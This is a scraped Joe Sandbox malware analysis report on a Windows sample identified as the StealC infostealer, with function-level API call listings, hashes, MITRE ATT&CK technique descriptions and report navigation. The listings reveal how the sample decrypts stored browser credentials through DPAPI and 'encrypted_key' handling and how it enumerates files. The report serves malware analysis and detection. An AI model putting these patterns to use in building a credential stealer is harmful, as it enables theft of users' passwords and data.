Part of subcall function 00B79AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B74EEE,00000000,00000000), ref: 00B79B2A
Part of subcall function 00B79AC0: LocalFree.KERNEL32(?,?,?,?,00B74EEE,00000000,?), ref: 00B79B3F

Part of subcall function 00B79B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B79B84
Part of subcall function 00B79B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00B79BA3
Part of subcall function 00B79B60: LocalFree.KERNEL32(?), ref: 00B79BD3

Strings

, xrefs: 00B79DC1
"encrypted_key":", xrefs: 00B79D30
DPAPI, xrefs: 00B79D89

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: a6bf8a703f9006f7c8d5913b5043d6a8f121c4dec776dbc80cbd77f5d175af91
Instruction ID: 3003b12e9bbac1d94803305594205b70f95abead3d1490d52baef1f1f92abe34
Opcode Fuzzy Hash: a6bf8a703f9006f7c8d5913b5043d6a8f121c4dec776dbc80cbd77f5d175af91
Instruction Fuzzy Hash: B63110B5D10209ABDF14EBE4DC85AEE77F8EB48304F1485A9E915A7241FB349A04CBA1

Function 00B892E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00B83AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00B83AEE,?), ref: 00B892FC
GetFileSizeEx.KERNEL32(000000FF,00B83AEE), ref: 00B89319
CloseHandle.KERNEL32(000000FF), ref: 00B89327

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: cc45c03373a857e0d2d7bf6317802bfd79cc3f34a7363bc0e13e06ca3c8e4139
Instruction ID: 9ad2784c6cae57559fbe66d1886603c0365f51ae19ba5f9c9131b516d291ba6e
Opcode Fuzzy Hash: cc45c03373a857e0d2d7bf6317802bfd79cc3f34a7363bc0e13e06ca3c8e4139
Instruction Fuzzy Hash: 05F01975E44308FBDF10EBA4DC49BAE77F9EB48710F108294B651A72D0DA709A018B94

Function 00B8C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B8C74E

Part of subcall function 00B8BF9F: __amsg_exit.LIBCMT ref: 00B8BFAF

__getptd.LIBCMT ref: 00B8C765
__amsg_exit.LIBCMT ref: 00B8C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00B8C797

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 8ba8b50736adf178db86c1913768c1451760d0d1474c8bfaabb996fd2058a2e4
Instruction ID: 2f1978f3bab64150a0b2c81182b1fdc54114a1428a60503e8e406955dd6c2016
Opcode Fuzzy Hash: 8ba8b50736adf178db86c1913768c1451760d0d1474c8bfaabb996fd2058a2e4
Instruction Fuzzy Hash: 92F06D769042109BD721BBB89806F4D3BE0AF00720F2441CAF504A71F2DF745D40DF6A

Function 00B84F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B88E0B

lstrcat.KERNEL32(?,00000000), ref: 00B84F7A
lstrcat.KERNEL32(?,00B91070), ref: 00B84F97
lstrcat.KERNEL32(?,00938A30), ref: 00B84FAB
lstrcat.KERNEL32(?,00B91074), ref: 00B84FBD

Part of subcall function 00B84910: wsprintfA.USER32 ref: 00B8492C
Part of subcall function 00B84910: FindFirstFileA.KERNEL32(?,?), ref: 00B84943

Part of subcall function 00B84910: StrCmpCA.SHLWAPI(?,00B90FDC), ref: 00B84971
Part of subcall function 00B84910: StrCmpCA.SHLWAPI(?,00B90FE0), ref: 00B84987
Part of subcall function 00B84910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B84B7D
Part of subcall function 00B84910: FindClose.KERNEL32(000000FF), ref: 00B84B92

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 7fbcf892ddccc2f8abeb68e2792bd40af903779448d435b7779bf1679a51099a
Instruction ID: 831a2e23dfab3ca5066a480e857b411f73fcb5dcdb8a62a601385d1b3fe984f4
Opcode Fuzzy Hash: 7fbcf892ddccc2f8abeb68e2792bd40af903779448d435b7779bf1679a51099a
Instruction Fuzzy Hash: E7218876900304EBCB54FB64DC46EED33BCA754700F4046D4B659925A1EE7597C8CBB2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00B89860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00B745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00B74880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00B89C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00B76280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00B85510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00B817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00B87500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00B869F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00B71220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00B86AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00B747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00B851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON